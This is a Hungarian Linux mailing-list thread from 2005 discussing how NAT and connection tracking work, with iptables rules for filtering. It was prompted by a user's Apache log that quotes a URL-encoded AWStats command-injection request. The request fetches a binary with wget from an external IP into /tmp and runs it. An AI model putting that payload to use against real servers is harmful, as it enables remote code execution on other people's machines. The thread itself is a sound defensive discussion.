Re: NAT-olt halózat MAC címei-hez kapcsolodo kerdes

2005-12-23 bef zés Nemeth Gyorgy

Kiss Gabor <[EMAIL PROTECTED]> wrote:
> A NAT router nem tartja nyilvan a kimeno csomag destination addresset,
> ezert aztan nincs is mivel osszehasonlitania a bejovo csomag
> source addresset.

Ez még az általad idézett oldalról nézve sem evidens, nem tudom, honnan
vezetted ezt le. Egyébként pedig muszáj neki, mert csak ez alapján tudja
azonosítani a kapcsolatot, amihez a válaszcsomag is tartozik.

-- 
--- Friczy ---
'Death is not a bug, it's a feature'
_
linux lista  -  linux@mlf.linux.rulez.org
http://mlf2.linux.rulez.org/mailman/listinfo/linux


Re: NAT-olt halózat MAC címei-hez kapcsolodo kerdes

2005-12-23 bef zés Nohl Attila Rajmund

Mihaly Zachar <[EMAIL PROTECTED]> wrote:
> Kiss Gabor wrote:
[...]
>> A NAT router nem tartja nyilvan a kimeno csomag destination addresset,
>> ezert aztan nincs is mivel osszehasonlitania a bejovo csomag
>> source addresset.
> 
> szerintem nyilvan tartja a csomag destination addresset...
> legalabbis a linux igen, cisco is tudtommal, talan olcso home router-ek 
> implementacioja megengedi ezt az "aprosagot".
>
> bocs, nem olvastam el a linket amit irtal, nincs idom, de nezz bele a 
> /proc/net/ip_conntrack tablaba...

Ha jól tippelek, ez arra kell, hogy a tűzfalban az ESTABLISHED és a
RELATED szabályok működjenek. Ha nincs semmi szűrés a NAT-oló gépen,
akkor ha véletlenül rátalálnak a nyitott portra, akkor bejöhet a csomag.
Ezért kellenek egy ilyen jellegű szabályok:
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT  
-A FORWARD -i ! ppp0 -m state --state NEW -j ACCEPT 
-A FORWARD -j DROP 

Bye,NAR
_
linux lista  -  linux@mlf.linux.rulez.org
http://mlf2.linux.rulez.org/mailman/listinfo/linux


Re: NAT-olt halózat MAC címei-hez kapcsolodo kerdes

2005-12-23 bef zés Kiss Gabor

In article <[EMAIL PROTECTED]>,
Zidarics Zoltan <[EMAIL PROTECTED]> writes:
>> Ki beszelt itt tuzfalrol?
>> A NAT onmagaban nem jelent szurest (forgalomkorlatozast), csak
>> az IP cimek csereberejet oda-vissza.
> Aha, azt hittem legalabb egy belulrol mindent, kivulrol csak valasz tipusu 
> szures van.

Dinamikus kapcsolatkezeles eseten a mechanizmusbol fakad, hogy
a NAT tablazataba csak olyan
belso_gep/belso_port/publikus_cim/publikus_port
negyesek kerulnek be, mely belso cimekrol indult kifele kapcsolat,
es egy ido utan el is tunnek. De addig barki kuldhet kivulrol
egy IP csomagot a publikus_cim:publikus_portra, amit a NAT szerver
a belso_gep:belso_port-ra tovabbit.

Statikus bejegyzeseknel meg az idokorlat sincs.

>> Inkabb az a furcsa, hogy a te 80-as portod (mar ha azon ul
>> egyaltalan az apache), hogy kerult be a NAT kapcsolatokat
>> nyilvantarto tablazataba.
>> Fut nalad olyan program, amely a 80-as portrol inditott
>> kifele egy TCP kapcsolatot?
> Persze, ez a desktop gepem, firefox fut rajta

Na es?
Egy tipikus kifele indulo TCP kapcsolat egy 1024 feletti
veletlenszeruen valasztott[*] source portot
hasznal. Osszekevered a destination porttal.

* Veletlenszeruenek (megjosolhatatlannak) kellene lennie.
A gyakorlatban tobbnyire a legutoljara hasznalt portszam+1.

kissg
_
linux lista  -  linux@mlf.linux.rulez.org
http://mlf2.linux.rulez.org/mailman/listinfo/linux


Re: NAT-olt halózat MAC címei-hez kapcsolodo kerdes

2005-12-23 bef zés Zidarics Zoltan
2005. december 23. 10.57 dátummal Kiss Gabor ezt írta:

> > Kerdeseim:
> > 1. dupla nat-on hogy talalt meg (jo biztos scannelt, de hogy tud kivulrol
> > beinjektalni uj http kerest a tuzfal moge)?
>
> Ki beszelt itt tuzfalrol?
> A NAT onmagaban nem jelent szurest (forgalomkorlatozast), csak
> az IP cimek csereberejet oda-vissza.
Aha, azt hittem legalabb egy belulrol mindent, kivulrol csak valasz tipusu 
szures van.

> Inkabb az a furcsa, hogy a te 80-as portod (mar ha azon ul
> egyaltalan az apache), hogy kerult be a NAT kapcsolatokat
> nyilvantarto tablazataba.
> Fut nalad olyan program, amely a 80-as portrol inditott
> kifele egy TCP kapcsolatot?
Persze, ez a desktop gepem, firefox fut rajta
> Mert ha igen, akkor egy darabig nyitva allt a 80-as portod a vilag
> fele. (Az persze ugy latta, mint a (84.224.11.177-es cimu gep
> 21802-es portjat [most ex has mondtam egy szamot]).
Es eppen egybe esett a scan az ip-vel es a porttal...

-- 
koszi,
Zoltan Zidarics programmer
PTE University Pecs, Hungary
icq: 43288694
_
linux lista  -  linux@mlf.linux.rulez.org
http://mlf2.linux.rulez.org/mailman/listinfo/linux


Re: NAT-olt halózat MAC címei-hez kapcsolodo kerdes

2005-12-23 bef zés Kiss Gabor

In article <[EMAIL PROTECTED]>,
Zidarics Zoltan <[EMAIL PROTECTED]> writes:
> Nem erre a temara valaszolnek, hanem ezzel kapcsolatban egy erdekes kerdes:
> Otthon Pannon GSM gprs internetet hasznalok. Dupla NAT van, hogy egymast se 
> tudjak a kliensek pingetni. Az internet felol a pgsm a 

> Ehhez kepest Penteken az alabbi Apache logot talaltam:
> 80.48.159.254 - - [16/Dec/2005:23:36:07 +0100] 

> Nem vagyok egy halozati guru, de nekem ugy tunt, ez kivulrol jott. 

Igen.

> Kerdeseim:
> 1. dupla nat-on hogy talalt meg (jo biztos scannelt, de hogy tud kivulrol 
> beinjektalni uj http kerest a tuzfal moge)? 

Ki beszelt itt tuzfalrol?
A NAT onmagaban nem jelent szurest (forgalomkorlatozast), csak
az IP cimek csereberejet oda-vissza.

Inkabb az a furcsa, hogy a te 80-as portod (mar ha azon ul
egyaltalan az apache), hogy kerult be a NAT kapcsolatokat
nyilvantarto tablazataba.
Fut nalad olyan program, amely a 80-as portrol inditott
kifele egy TCP kapcsolatot?
Mert ha igen, akkor egy darabig nyitva allt a 80-as portod a vilag
fele. (Az persze ugy latta, mint a (84.224.11.177-es cimu gep
21802-es portjat [most ex has mondtam egy szamot]).

kissg
_
linux lista  -  linux@mlf.linux.rulez.org
http://mlf2.linux.rulez.org/mailman/listinfo/linux


Re: NAT-olt halózat MAC címei-hez kapcsolodo kerdes

2005-12-23 bef zés Zidarics Zoltan
Hello,
Nem erre a temara valaszolnek, hanem ezzel kapcsolatban egy erdekes kerdes:
Otthon Pannon GSM gprs internetet hasznalok. Dupla NAT van, hogy egymast se 
tudjak a kliensek pingetni. Az internet felol a pgsm a 
netacc-gpn-11-177.gprs.pgsm.hu (84.224.11.177) cimen latszik. A ppp idevago 
resze:
local  IP address 84.224.11.177
remote IP address 192.168.254.254


Ehhez kepest Penteken az alabbi Apache logot talaltam:
80.48.159.254 - - [16/Dec/2005:23:36:07 +0100] 
"GET /awstats/awstats.pl?configdir=|echo;echo%20Y
YY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2f
listen%3bchmod%20%2bx%20listen%3b%2e%2flisten%2021
6%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 404 319 "-" "Mozilla/4.0 
(compatible; MSIE 6.0;
Windows NT 5.1;)"

(A query_string-et en tortem, hogy ne legyenek tul hosszu sorok)

ugyanez ismetlodott kicsit kesobb a 213.58.148.5 majd a 70.150.56.16 cimrol.
A host parancs egyiket sem tudta nevesiteni, pingetni tudtam oket, a 
traceroute a fel vilagon keresztulvezetett (lasd a level vegen).
Nem vagyok egy halozati guru, de nekem ugy tunt, ez kivulrol jott. 
Kerdeseim:
1. dupla nat-on hogy talalt meg (jo biztos scannelt, de hogy tud kivulrol 
beinjektalni uj http kerest a tuzfal moge)? 
2. Ertesitsem a rendszergazdat, vagy ne ugraljak?


koszi,
Zamek

traceroute to 70.150.56.16 (70.150.56.16), 30 hops max, 40 byte packets
 1  10.26.11.1 (10.26.11.1)  901.690 ms  530.204 ms  559.023 ms
 2  10.26.11.254 (10.26.11.254)  536.043 ms  548.006 ms  563.975 ms
 3  10.22.2.251 (10.22.2.251)  540.004 ms  511.974 ms  540.005 ms
 4  193.225.153.137 (193.225.153.137)  556.007 ms  587.973 ms  604.015 ms
 5  a5-0-0-3.border0.net.telekom.hu (145.236.254.49)  604.044 ms  563.938 ms  
660.025 ms
 6  vl2118.osr0-vhugo.net.telekom.hu (81.183.246.69)  700.018 ms  543.975 ms  
560.005 ms
 7  vl2118.osr0-vhugo.net.telekom.hu (81.183.246.69)  560.036 ms  544.035 ms  
539.940 ms
 8  217.6.24.221 (217.6.24.221)  580.014 ms  571.976 ms  580.047 ms
 9  nyc-e5.NYC.US.net.DTAG.DE (62.154.14.53)  659.983 ms  643.981 ms *
10  so-1-3-0.gar1.NewYork1.Level3.net (4.68.111.69)  1460.194 ms 65.59.192.5 
(65.59.192.5)  827.996 ms  1372.094 ms
11  ae-1-51.bbr1.NewYork1.Level3.net (4.68.97.1)  984.035 ms 
ae-1-55.bbr1.NewYork1.Level3.net (4.68.97.129)  645.666 ms 
ae-1-53.bbr1.NewYork1.Level3.net (4.68.97.65)  643.981 ms
12  ae-0-0.bbr2.Atlanta1.Level3.net (64.159.1.46)  667.917 ms 
as-2-0.bbr1.Atlanta1.Level3.net (64.159.1.1)  659.945 ms 
ae-0-0.bbr2.Atlanta1.Level3.net (64.159.1.46)  660.819 ms
13  4.68.103.6 (4.68.103.6)  667.976 ms  671.950 ms 4.68.103.102 
(4.68.103.102)  688.029 ms
14  BELLSOUTH-TE.gar1.Level3.net (67.72.8.42)  688.006 ms  663.959 ms  684.021 
ms
15  axr00asm-0-0-0.bellsouth.net (65.83.236.1)  676.080 ms  679.870 ms  
720.062 ms
16  65.83.237.145 (65.83.237.145)  719.980 ms  647.975 ms  782.245 ms
17  205.152.128.93 (205.152.128.93)  777.853 ms  671.942 ms  676.037 ms
18  68.208.254.198 (68.208.254.198)  683.998 ms  739.989 ms  712.062 ms
19  70.150.56.16 (70.150.56.16)  743.996 ms  707.851 ms  779.992 ms

-- 
Zoltan Zidarics programmer
PTE University Pecs, Hungary
icq: 43288694
_
linux lista  -  linux@mlf.linux.rulez.org
http://mlf2.linux.rulez.org/mailman/listinfo/linux